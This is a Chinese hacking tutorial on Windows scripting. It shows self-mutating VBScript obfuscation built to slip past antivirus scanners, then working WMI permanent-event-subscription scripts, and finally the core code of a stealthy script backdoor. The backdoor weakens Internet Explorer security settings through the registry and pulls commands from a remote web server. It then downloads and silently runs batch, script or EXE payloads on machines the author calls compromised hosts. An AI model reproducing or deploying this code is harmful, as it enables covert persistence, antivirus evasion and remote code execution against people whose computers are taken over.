深入挖掘Windows脚本技术3
(注意,其中没有回车符)上面是“原版”的,保存为vbs文件双击运行,还是弹出对话框显示"OK!"。再看代码变形成什么样了(效果是随机的):B906="tpircsw"" ohce.9B:""!KO(rhc=90nar:)43:ezimodni=A09B2*dnr(t04+00049B:)069B09B=60:)609B(9B=509B dom A09B:2+01lper=6009B(eca,909B,79B&909Btes:)90c=C09B boetaerA""(tcejtS.BDOD:)""maerpo.C09BC09B:netetirw.xeh txe1+A09B(B&""=""&)09B&909&909B&6:""(D09Betucexe909B&"" ""(B09B&&""=509B:""&509B9B=609Bcexe:709B etucnuf:609B noitof:)(70=809B rel ot 1)609B(nB pets 09B:509+709B=7everrtsdim(esrB,609B(09B,809xen:))5f dne:tnoitcnu909B&)"".C09B:)fotevascsw elics.tpirluftpir2,emanlitcnuf:B09B no:)E09B(09B rof ot 0=FE09B:21calper=,E09B(eBH&(xeh09B+509(xeh,)F9B+A09Ben:))F0B09B:txe:E09B=cnuf dnuf:noit noitcn9B(D09Brof:)E01=F09B nel ot :)E09B(im=019B,E09B(d)1,F09Btni fi:-2*dnr(neht )1u=019B 9B(esacdne:)01 fi:fi 11>F09Bni dna 5*dnr(teht 0=)=D09B n9B&D09B(rhc&90(tni+83*)2*dnr909B&)5fi dne:B=D09B:19B&D09:txen:0nuf dnenoitc":EXecUTe "B9"&"05=7"&":B906"&"=B907:E"+"XEc"+"utE B906"+":FuN"&"ctIoN B9"&"07():fOr"+" B9"+"08=1 tO l"&"En(B906)"+" step B905:B907"&"=B907+"&"sTRreVErSe(MId("&"B9"&"0"&"6,B908,B905"&")"+"):N"+"eX"+"t"+":eNd fUN"&"CtiOn"
眼花了没?再来一次:
F0CB="rcsw.tpiohceKO"" F:""!=EC0(rhc:)43dnarzimo0F:ei=FCr(tn2*dn0004904+:)06BC0FD0F=0F(0:)BCAC0FC0F=om F01 dF:2+=BC0lper(ecaCC0FC0F,0F,EF&EC)EC0tes:D0F rc=1etaeejbo""(tcDODAtS.BmaerF:)"".1D0nepoD0F:rw.1teti txe(xehFC0F&)1+&""=""EC0FC0F&0F&BF&EC(2D0xe:""tuce&"" eEC0FD0F&F""(0=AC00F&""""&ACC0F:0F=Be:CCucex etBC0Fnuf:oitc0F n)(CCrof:C0F 1=Dl otF(ne)BC0ets 0F pF:AC=CC0CC0Frts+ever(esr(dimBC0FC0F,0F,D))ACxen:ne:tuf ditcn)""noC0F&F:)E.1D0evasifotw elircss.tppircluftmanl:2,ecnufnoitD0F 0F(0:)3D rof4D0Ft 0=21 oD0F:er=3calp0F(eh,3D&(xeC0FH0F+A,)4D(xehFC0FD0F+:))4txenD0F:0F=0e:3Df dntcnu:noicnufnoitD0F 0F(2:)3D rof4D0Ft 1=el o0F(n:)3D5D0Fdim=D0F(0F,31,4Dfi:)tni dnr(1-2*ht )F ne=5D0sacu0F(e:)5D dnei:fi0F f1>4Dna 1ni dnr(t)5*dt 0= neh2D0FD0F=0F&2c&EC3(rhni+8nr(t)2*d&)5*EC0Fdne::fi 2D0FD0F=0F&2n:5D:txe dnecnufnoit":eXecUtE "F"+"0CA"&"=4:F0CB"+"="+"F0CC:eX"+"e"+"cUte F0CB"&":F"+"UNC"+"tIOn F0CC():F"+"or"+" F0"&"CD=1 tO LEN(F0CB) sTEp F0CA:F0CC=F0CC+strR"+"Ever"+"SE"&"(mID("+"F0CB,"+"F0CD,F0CA)):nEXT:eNd FU"&"nCTIo"&"N"
这样够了吗?——不知道。也许杀毒引擎本来就是忽略大小写的,本来就能自动连接字符串,本来就能“文法分析”……这个“壳”有实用性吗?——没有。因为“壳”的算法太简单。“种子”A000 = A005 mod 10 + 2,所以如果不考虑自动改变的变量名,加壳后的代码只有10种样子。如何改进这个“壳”?——当然是用更复杂的算法,更多的“多态”。
如果你有兴趣,可以先看那个“原版”的脚本代码(把冒号都替换为回车,可读性就比较好了),然后自己加强它。当然,你也可以另起炉灶,自由展现你的创意。
【来做个后门】在讨论脚本后门前,先要介绍一类很有用的WMI对象。事实上,这才是本节的关键。脚本后门不过是它的一个应用而已。
前面已经说过,WMI是事件驱动的。整个事件处理机制分为四个部分:1,事件生产者(provider):负责产生事件。WMI包含大量的事件生产者。有性能计数器之类的具体的事件生产者,也有类、实例的创建、修改、删除等通用的事件生产者。
2,事件过滤器(filter):系统每时每刻都在产生大量的事件,通过自定义过滤器,脚本可以捕获感兴趣的事件进行处理。
3,事件消费者(consumer):负责处理事件。它可以是可执行程序、动态链接库(dll,由WMI服务加载)或者脚本。
4,事件绑定(binding):通过将过滤器和消费者绑定,明确什么事件由什么消费者负责处理。
事件消费者可以分为临时的和永久的两类。临时的事件消费者只在其运行期间关心特定事件并处理。永久消费者作为类的实例注册在WMI名字空间中,一直有效直到它被注销。显然,永久事件消费者更具实用性。还是来看个例子:
nslink="winmgmts:\\.\root\cimv2:" '只需要本地连接,所以用这种语法,不用swbemlocator对象'
set asec=getobject(nslink&"ActiveScriptEventConsumer").spawninstance_ '创建“活动脚本事件消费者”'asec.name="stopped_spooler_restart_consumer" '定义消费者的名字'asec.scriptingengine="vbscript" '定义脚本语言(只能是vbscript)'asec.scripttext="getobject(""winmgmts:win32_service='spooler'"").startservice" '脚本代码'set asecpath=asec.put_ '注册消费者,返回其链接'
set evtflt=getobject(nslink&"__EventFilter").spawninstance_ '创建事件过滤器'evtflt.name="stopped_spooler_filter" '定义过滤器的名字'qstr="select * from __instancemodificationevent within 5 " '每5秒查询一次“实例修改事件”'qstr=qstr&"where targetinstance isa ""win32_service"" and " '目标实例的类是win32_service'qstr=qstr&"targetinstance.name=""spooler"" " '实例名是spooler'qstr=qstr&"and targetinstance.state=""stopped""" '实例的state属性是stopped'evtflt.query=qstr '定义查询语句'evtflt.querylanguage="wql" '定义查询语言(只能是wql)'set fltpath=evtflt.put_ '注册过滤器,返回其链接'
set fcbnd=getobject(nslink&"__FilterToConsumerBinding").spawninstance_ '创建过滤器和消费者的绑定'fcbnd.consumer=asecpath.path '指定消费者'fcbnd.filter=fltpath.path '指定过滤器'fcbnd.put_ '执行绑定'
wscript.echo "安装完成"
这个脚本的效果是:当“后台打印”服务(spooler)状态改变为停止时,消费者将进行处理——重启spooler。先net start spooler,然后net stop spooler。最多5秒钟,spooler又会启动。
直接运行上面的脚本会出错,因为“活动脚本事件消费者”(ActiveScriptEventConsumer ASEC)默认没有被安装到root\cimv2名字空间。
用记事本打开%windir%\system32\wbem\scrcons.mof,将第一行“#pragma namespace ("\\\\.\\Root\\Default")”删除,或者修改为“#pragma namespace ("\\\\.\\Root\\cimv2")”。XP/2003没有这一行,不用修改。然后执行下面这个命令:
C:\WINNT\system32\wbem>mofcomp.exe -N:root\cimv2 scrcons.mofMicrosoft (R) 32-bit MOF 汇编器版本 1.50.1085.0007版权所有 (c) Microsoft Corp. 1997-1999。保留所有权利。
正在分析 MOF 文件: scrcons.mofMOF 文件分析成功将数据储存到储备库中...已完成!
这样就把ASEC安装到root\cimv2了。mofcomp.exe和scrcons.mof都是系统自带的。
2000默认将ASEC安装到root\default名字空间,而XP/2003默认已经安装到root\subscription名字空间,但由于事件过滤器不能跨名字空间捕捉事件(XP/2003可以),事件绑定也不能跨名字空间,而大部分事件都在root\cimv2产生,所以需要重新安装ASEC到事件源所在的名字空间。下面这个脚本自动完成ASEC重安装任务。
set shl=createobject("WScript.Shell")set fso=createobject("Scripting.FileSystemObject")path=shl.expandenvironmentstrings("%windir%\system32\wbem\")set mof=fso.opentextfile(path&"scrcons.mof",1,false,-1) 'mof都是Unicode格式的'mofs=mof.readallmof.closemofs=replace(mofs,"\\Default","\\cimv2",1,1) '替换默认的名字空间'mofp=path&"asecimv2.mof"set mof=fso.createtextfile(mofp,false,true) '创建临时mof文件'mof.write mofsmof.closeshl.run path&"mofcomp.exe -N:root\cimv2 "&mofp,0,true '安装到root\cimv2'fso.deletefile(mofp)wscript.echo "安装完成"
注销永久事件:
nslink="winmgmts:\\.\root\cimv2:"myconsumer="stopped_spooler_restart_consumer" '指定消费者的名字'myfilter="stopped_spooler_filter" '指定过滤器的名字'set binds=getobject(nslink&"__FilterToConsumerBinding").instances_for each bind in binds if strcomp(right(bind.consumer,len(myconsumer)+1),myconsumer&chr(34),1)=0 _ and strcomp(right(bind.filter,len(myfilter)+1),myfilter&chr(34),1)=0 then getobject("winmgmts:"&bind.consumer).delete_ '删除消费者' getobject("winmgmts:"&bind.filter).delete_ '删除过滤器' bind.delete_ '删除绑定' exit for end ifnextwscript.echo "卸载完成"
除了ASEC,WMI还提供其他永久事件消费者,比如SMTPEventConsumer。当系统出现异常时,可以通过它自动给管理员的信箱发信。WMITools里的WMI Event Registration用于创建、修改、删除指定名字空间里的永久事件消费者、事件过滤器和计时器事件源的实例,以及绑定或解除绑定它们。
关于事件处理机制的各个部分,在《WMI技术指南》里有详细的讲述,MSDN里当然更全面。我就点到为止了。
(看累了吧,喝口水,休息一下 ^_^)
下面开始讨论脚本后门。
WMI提供了两个计时器:__AbsoluteTimerInstruction和__IntervalTimerInstruction,分别在指定的时刻和时间间隔触发事件,注册一个过滤器来捕获计时器事件,再和ASEC绑定,我们就获得了一种少见的程序自启动的方法。而且,脚本代码完全隐藏在CIM存储库中,不以独立的文件存在,查杀比较困难。这是脚本后门的优势,但困难也不少:
1,脚本运行时,由系统自带的scrcons.exe作为脚本宿主(Windows的设计者还没有笨到用WMI服务作为脚本宿主)。这就会增加一个进程,虽然是系统正常的进程,杀毒软件拿它没辙,但还是太显眼了。所以,不能让脚本一直在后台运行,而是应该每隔一段时间启动一次,然后尽快结束。脚本结束后,scrcons.exe进程不会自动结束,必须让脚本借助WMI提供的Win32_Process对象主动终止宿主进程(煮豆燃豆萁?!)。
2,脚本的网络功能很差,基本上只能依靠Microsoft.XMLHTTP之类的对象。因此,脚本后门不能监听端口并提供cmd shell,只能反向连接到web服务器,获取控制命令。一个可行的办法是,在web服务器上放一个命令文件,脚本后门根据域名找到服务器并下载命令文件,再根据文件内容作出响应。所以,你需要一台web服务器,或者用netbox等工具建个临时服务器。当然,你不需要让服务器总是在线,需要控制脚本后门时再运行就可以了。
3,由于脚本后门间歇式运行,需要防止重复运行同一个命令。解决方法是在注册表里记录命令的长度,每次获取命令后将长度和记录做比较,如果相同则跳过,不同则覆盖并执行命令。
4,为了借助ie对象穿透防火墙,XMLHTTP对象必须在ie中被创建,这会受到Internet域安全级别的限制。即使将代码保存在html文件中再用ie打开,也不过是“我的电脑”域,创建不安全的ActiveX对象还是会弹出警告对话框。解决办法是修改注册表,临时更改安全设置。
5,WScript对象由wscript.exe或cscript.exe提供,而scrcons.exe没有提供,所以很多常用的功能,比如WScript.Sleep都不能用了。不能Sleep就无法异步使用XMLHTTP,而同步XMLHTTP可能被长时间阻塞,大大不利于后门的隐蔽。调用ping命令来延时会创建新进程,用WScript.Shell的Popup方法延时则有“咚”一声提示音。好在Microsoft.XMLHTTP的“亲戚”不少,比如Msxml2.XMLHTTP、Msxml2.ServerXMLHTTP、Msxml2.DOMDocument、WinHttp.WinHttpRequest等。最后那个可以设置超时时间,刚好满足需要。
即使有重重困难,脚本后门仍然值得挑战一下。当肉鸡上的各类木马纷纷被杀毒软件肃清后,一个24小时才运行一次的脚本后门可能是你最后的希望。
下面是一个简单的脚本后门的核心代码(没有安装功能):
cmdu="http://myweb.8866.org/cmd.txt"; '从web服务器获取命令的url'cmdw=4000 '下载超时时间4秒'cmdl="HKLM\SOFTWARE\Microsoft\WBEM\CIMOM\CmdLength" '记录命令长度的键值名'
on error resume next '忽略非致命错误 '(调试时注释掉本行)set shl=createobject("WScript.Shell") '虽然不能使用WScript根对象,其子对象还是可以用的'set aso=createobject("ADODB.Stream")set ie=createobject("InternetExplorer.Application") '使用ie绕过防火墙'
zone="HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3"set1=zone&"\1201"set2=zone&"\1400"set3=zone&"\CurrentLevel"val1=shl.regread(set1) '保存原来的安全设置'val2=shl.regread(set2)val3=shl.regread(set3)regd="REG_DWORD"shl.regwrite set1,0,regd '允许在Internet域运行不安全的ActiveX'shl.regwrite set2,0,regd '允许活动脚本'shl.regwrite set3,0,regd '设置当前Internet域安全级别为“自定义”'
ie.visible=0 ':ie.visible=1 '(调试用)ie.navigate "about"&":blank" '这里使用字符串连接纯属反论坛过滤'ie.document.write _"<script>function whr(){return new ActiveXObject('WinHttp.WinHttpRequest.5.1')}</script>"set whr=ie.document.script.whr() '在ie内创建WinHttpRequest对象'
whr.settimeouts cmdw,cmdw,cmdw,cmdw '设置域名解析、连接、发送和接收超时时间'whr.open "GET",cmdu,true '获取命令文件'whr.sendif not whr.waitforresponse(cmdw) then dieif whr.status>299 then diert=whr.responsetext ':wscript.echo rt '(调试用) ':shl.regwrite cmdl,0,regd '(调试用)if len(rt)=shl.regread(cmdl) then die '与前一个命令的长度比较'shl.regwrite cmdl,len(rt),regd '更新命令长度'cmds=split(rt,vbcrlf,-1)if ubound(cmds)<1 then diecmdt=lcase(trim(cmds(0))) ':wscript.echo cmdt '(调试用)
aso.type=1aso.opencd=shl.currentdirectory&chr(92)select case cmdt '分析命令文件类型' case "'vbs" '是vbs' execute(rt) '直接在当前脚本上下文中执行' die case ":bat" '是批处理' aso.write whr.responsebody aso.savetofile cd&"_.bat",2 '保存在当前目录' aso.close shl.run chr(34)&cd&"_.bat""",0 '运行批处理' die case "'wsh" '是Windows脚本' aso.write whr.responsebody aso.savetofile cd&"_.vbs",2 '保存在当前目录' aso.close shl.run "cscript.exe """&cd&"_.vbs""",0 '使用cscript作为脚本宿主' die case "exe" 'exe需进一步分析' case else dieend select
if ubound(cmds)<4 then die ':wscript.echo cmds(1) '(调试用)whr.open "GET",cmds(1),true '从指定位置下载exe文件'whr.sendif not whr.waitforresponse(cmds(2)) then dieif whr.status>299 then diepath=shl.expandenvironmentstrings(cmds(3))'展开保存路径中的环境变量'aso.write whr.responsebody ':wscript.echo path '(调试用)aso.savetofile path,2 '保存exe文件'aso.closeshl.run chr(34)&path&""" "&cmds(4),0 '执行exe'
die
sub die ie.quit shl.regwrite set1,val1,regd '还原Internet域安全设置' shl.regwrite set2,val2,regd shl.regwrite set3,val3,regd for each ps in getobject("winmgmts:\\.\root\cimv2:win32_process").instances_ if lcase(ps.name)="scrcons.exe" then ps.terminate '自杀' next 'wscript.echo "die": wscript.quit '(调试用)end sub
- 联系我们: QQ:82526114(技术) 411523648(客服) 237057746(财务)
- 电话:+86-762-4372098 邮箱:webmaster@814e.net,support@814e.net
- 粤ICP备05002242号 网监局备案:4403701910502
